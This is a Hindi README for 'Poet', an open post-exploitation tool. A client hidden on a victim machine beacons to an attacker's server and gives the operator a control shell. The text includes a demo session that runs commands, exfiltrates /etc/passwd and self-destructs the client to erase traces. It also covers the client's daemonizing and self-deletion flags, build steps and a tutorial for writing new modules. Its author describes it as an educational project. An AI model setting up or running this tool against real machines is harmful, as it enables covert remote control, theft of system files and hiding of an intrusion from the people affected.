
[अनुरक्षित] पोस्ट-एक्सप्लॉइटेशन उपकरण
एक सरल पोस्ट-शोषण उपकरण।
क्लाइंट प्रोग्राम लक्ष्य मशीन पर चलता है और एक आईपी पते (सर्वर) से जुड़ने के लिए कॉन्फ़िगर किया जाता है तथा एक आवृत्ति निर्धारित की जाती है जिस पर वह कनेक्ट होता है। यदि क्लाइंट के कनेक्ट करने के प्रयास के समय सर्वर नहीं चल रहा होता है, तो क्लाइंट चुपचाप सो जाता है और अगले अंतराल पर फिर प्रयास करता है। हालांकि, यदि सर्वर चल रहा है, तो हमलावर को एक नियंत्रण शेल प्राप्त होता है जिससे वह क्लाइंट को नियंत्रित कर सकता है और लक्ष्य पर विभिन्न कार्य कर सकता है जिनमें शामिल हैं:
यह Poet केवल एक छोटा सा नमूना है कि Poet क्या कर सकता है।
परिदृश्य यह है कि एक हमलावर ने पीड़ित की मशीन तक पहुंच प्राप्त कर ली है और क्लाइंट को डाउनलोड करके निष्पादित कर दिया है। उस समय सर्वर चालू नहीं है, लेकिन यह ठीक है, क्लाइंट धैर्यपूर्वक प्रतीक्षा करता है। अंततः हमलावर तैयार होता है और सर्वर शुरू करता है, पहले एक शेल शुरू करता है और uname -a निष्पादित करता है, फिर /etc/passwd को बहिर्वाहित करता है। फिर वह बाहर निकलती है और क्लाइंट से अलग हो जाती है, जो लक्ष्य पर चलता रहता है और सर्वर से जुड़ने के अगले अवसर की प्रतीक्षा करता है। बाद में, वह फिर से कनेक्ट होती है, क्लाइंट को स्व-विनाश कर देती है, और लक्ष्य से सभी निशान हटा देती है।
पीड़ित की मशीन (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
चेतावनी: इस कमांड को चलाने के बाद, आपको या तो सर्वर से
selfdestructचलाना होगा, या क्लाइंट को रोकने के लिएpoet-clientप्रक्रिया को मारना होगा।
हमलावर की मशीन (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
रिलीज़ पृष्ठ पर जाएं और उपलब्ध नवीनतम poet-client और poet-server फ़ाइलें डाउनलोड करें।
फिर नीचे उपयोग अनुभाग पर जाएं।
वैकल्पिक रूप से, आप स्वयं Poet बना सकते हैं (यह काफी आसान है, नीचे देखें)।
सुनिश्चित करें कि आपके पास python2.7 और zip निष्पादन योग्य उपलब्ध हैं।
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
इससे एक bin/ निर्देशिका बनेगी जिसमें poet-client और poet-server होंगे।
Poet का उपयोग करना बहुत आसान है, और इसके लिए Python (2.7) मानक पुस्तकालय के अलावा किसी और चीज़ की आवश्यकता नहीं है। इसे आसानी से परीक्षण करने के लिए, एक सामान्य आह्वान इस प्रकार दिखेगा:
टर्मिनल 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
डिफ़ॉल्ट रूप से, Poet क्लाइंट डेमॉन बन जाता है और स्वयं को डिस्क से हटा देता है, इसलिए
--debugऔर--no-selfdestructफ़्लैग का उपयोग करके उस व्यवहार को दबा दिया जाता है।
टर्मिनल 2:
$ sudo ./poet-server
डिफ़ॉल्ट रूप से, सर्वर को रूट के रूप में (
sudoका उपयोग करके) चलाने की आवश्यकता होती है क्योंकि यह डिफ़ॉल्ट रूप से पोर्ट 443 से बाइंड होता है। यदि यह आपको असुविधाजनक लगता है, तो बसsudoको हटा दें और क्लाइंट और सर्वर दोनों पर-p <PORT>फ़्लैग का उपयोग करें। अपने पोर्ट के लिए एक अच्छी, उच्च संख्या चुनें (> 1024)।
common/config.py फ़ाइल में Poet बिल्ड के लिए विभिन्न वैकल्पिक विन्यास सेटिंग्स हैं।
AUTH: क्लाइंट प्रमाणीकरण के लिए क्लाइंट और सर्वर के बीच साझा गुप्त प्रमाणीकरण टोकन। ध्यान दें कि डिफ़ॉल्ट एक बिल्कुल भी गुप्त नहीं है। किसी भी गैर-परीक्षण उपयोग के लिए, इसे किसी अन्य अनुमान लगाने योग्य मान में बदलने की अनुशंसा की जाती है। ध्यान दें कि पूर्व-निर्मित पैकेज डिफ़ॉल्ट, सार्वजनिक प्रमाणीकरण टोकन का उपयोग करते हैं।ARCHIVE_DIR: सर्वर द्वारा फ़ाइलों (निष्पादन आउटपुट, बहिर्वहन, टोही, आदि) को संग्रहीत करने के लिए उपयोग की जाने वाली निर्देशिका।SERVER_IP: सर्वर का आईपी पता।BEACON_INTERVAL: सर्वर को क्लाइंट बीकन के बीच सेकंड में समय।SERVER_IP और BEACON_INTERVAL कॉन्फ़िगरेशन जानकारी जो पहले कमांड लाइन तर्कों में आवश्यक थी, अंतिम निष्पादन योग्य में बेक की जा सकती है ताकि अंतिम निष्पादन योग्य को बिना किसी तर्क के चलाया जा सके। उनमें से किसी के लिए None मान डिफ़ॉल्ट व्यवहार पर वापस आ जाते हैं (SERVER_IP के लिए आवश्यक कमांड लाइन तर्क, BEACON_INTERVAL के लिए वैकल्पिक कमांड लाइन तर्क)।
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet एक क्लाइंट/सर्वर एप्लिकेशन है। क्लाइंट लक्ष्य पर निष्पादित किया जाता है और एक निश्चित समय अंतराल पर सर्वर पर बीकन भेजता है। एकमात्र आवश्यक तर्क आईपी पता है जहां सर्वर चल रहा है या चलाया जाएगा। इसके बाद वैकल्पिक रूप से बीकन भेजने की आवृत्ति सेकंड में हो सकती है, जो डिफ़ॉल्ट रूप से 10 मिनट है। क्लाइंट जिस पोर्ट पर बीकन भेजता है, उसे -p फ़्लैग से निर्दिष्ट किया जा सकता है। अन्य सभी फ़्लैग "वास्तविक" उपयोग के दौरान उपयोग नहीं किए जाएंगे और मुख्य रूप से डिबगिंग के लिए मौजूद हैं।
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
सर्वर उपयोगकर्ता की अपनी मशीन पर निष्पादित किया जाता है और क्लाइंट से बीकन सुनता है। डिफ़ॉल्ट रूप से, यह एक विशेषाधिकार प्राप्त पोर्ट (443) पर सुनता है और इसे विशेषाधिकारों के साथ चलाया जाना चाहिए (जो बाइंडिंग के बाद जल्दी से गिरा दिए जाते हैं)। -p फ़्लैग का उपयोग एक गैर-विशेषाधिकार प्राप्त पोर्ट (>1024) चुनकर इससे बचने के लिए किया जा सकता है।
Poet अपने मॉड्यूल फ्रेमवर्क के माध्यम से अत्यधिक विस्तार योग्य है, वास्तव में, posh शेल पर उपलब्ध लगभग हर कमांड एक मॉड्यूल के रूप में कार्यान्वित किया जाता है। उन्हें common/modules/ निर्देशिका में देखा जा सकता है। common/modules/template.py एक न्यूनतम उदाहरण मॉड्यूल के रूप में कार्य करता है, जिसे प्रारंभिक बिंदु के रूप में उपयोग किया जाएगा। Poet मॉड्यूल जोड़ने के लिए, इसे बस common/modules/ निर्देशिका में रखें और make का उपयोग करके Poet को पुनर्निर्मित करें।
यहां एक सरल उदाहरण मॉड्यूल है जो क्लाइंट और सर्वर के बीच बुनियादी संचार दिखाता है। मॉड्यूल एक posh कमांड पंजीकृत करता है, एक स्ट्रिंग भेजता है, क्लाइंट इसे उलट देता है और वापस भेजता है, और सर्वर इसे प्रिंट करता है।
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
मॉड्यूल इस प्रकार शुरू होता है:
import module
यह आवश्यक है, और मॉड्यूल फ्रेमवर्क में पंजीकरण के लिए आवश्यक है।
अगला भाग मॉड्यूल का सर्वर-साइड घटक है।
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.server_handler() डेकोरेटर का उपयोग एक posh कमांड पंजीकृत करने के लिए किया जाता है, डेकोरेटर पैरामीटर के रूप में कमांड नाम पास करके और कमांड चलाए जाने पर निष्पादित करने के लिए एक हैंडलर फ़ंक्शन परिभाषित करके। हैंडलर फ़ंक्शन को दो पैरामीटर स्वीकार करने होते हैं। एक PoetServer का उदाहरण है जिसने मॉड्यूल को कॉल किया, और दूसरा दर्ज किया गया कमांड स्ट्रिंग है, जिसे तर्कों की सूची के रूप में दर्शाया गया है। सर्वर उदाहरण मॉड्यूल के लिए मौजूद है ताकि वह क्लाइंट के साथ संवाद करने, संग्रह निर्देशिका में फ़ाइलें लिखने आदि के लिए सहायक फ़ंक्शन का उपयोग कर सके। मॉड्यूल server.conn.exchange() का उपयोग करके दर्ज की गई कमांड लाइन को एक स्ट्रिंग के रूप में क्लाइंट को भेजता है और वापसी मान के रूप में प्रतिक्रिया प्राप्त करता है।
मॉड्यूल का क्लाइंट-साइड घटक अगला है।
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
@module.client_handler() डेकोरेटर का उपयोग क्लाइंट के लिए एक कार्य पंजीकृत करने के लिए किया जाता है जिस पर वह प्रतिक्रिया करेगा और संसाधित करेगा। चूंकि क्लाइंट और सर्वर उनके बीच स्ट्रिंग पास करके संवाद करते हैं, स्ट्रिंग का पहला भाग किसी विशेष कार्य के लिए कीवर्ड है। मॉड्यूल एक क्लाइंट हैंडलर फ़ंक्शन पंजीकृत करता है जो तब निष्पादित होता है जब सर्वर से 'reverse' से शुरू होने वाला कोई संदेश आता है। सर्वर हैंडलर के समान, क्लाइंट हैंडलर को उस PoetClient के उदाहरण के लिए पैरामीटर स्वीकार करने होते हैं जिसने इसे कॉल किया, और सर्वर से पास किया गया इनपुट स्ट्रिंग। फिर क्लाइंट client.s.send() फ़ंक्शन का उपयोग करके डेटा वापस सर्वर को भेजता है, इस मामले में, पहला तर्क, उल्टा।
कार्य में, यह इस प्रकार दिखता है:
posh > reverse poet
Sending: poet
Received: teop
दस्तावेजित चिंताएँ:
मैं Poet को पूरी तरह से अपनी शिक्षा और सीखने के अनुभव के लिए बना रहा हूँ। कोड स्वतंत्र रूप से उपलब्ध है क्योंकि मुझे लगता है कि यह उन लोगों के लिए उपयोगी हो सकता है जो इस तरह की चीज़ों के बारे में सीखने में रुचि रखते हैं। इसका उपयोग जिम्मेदारी से करें।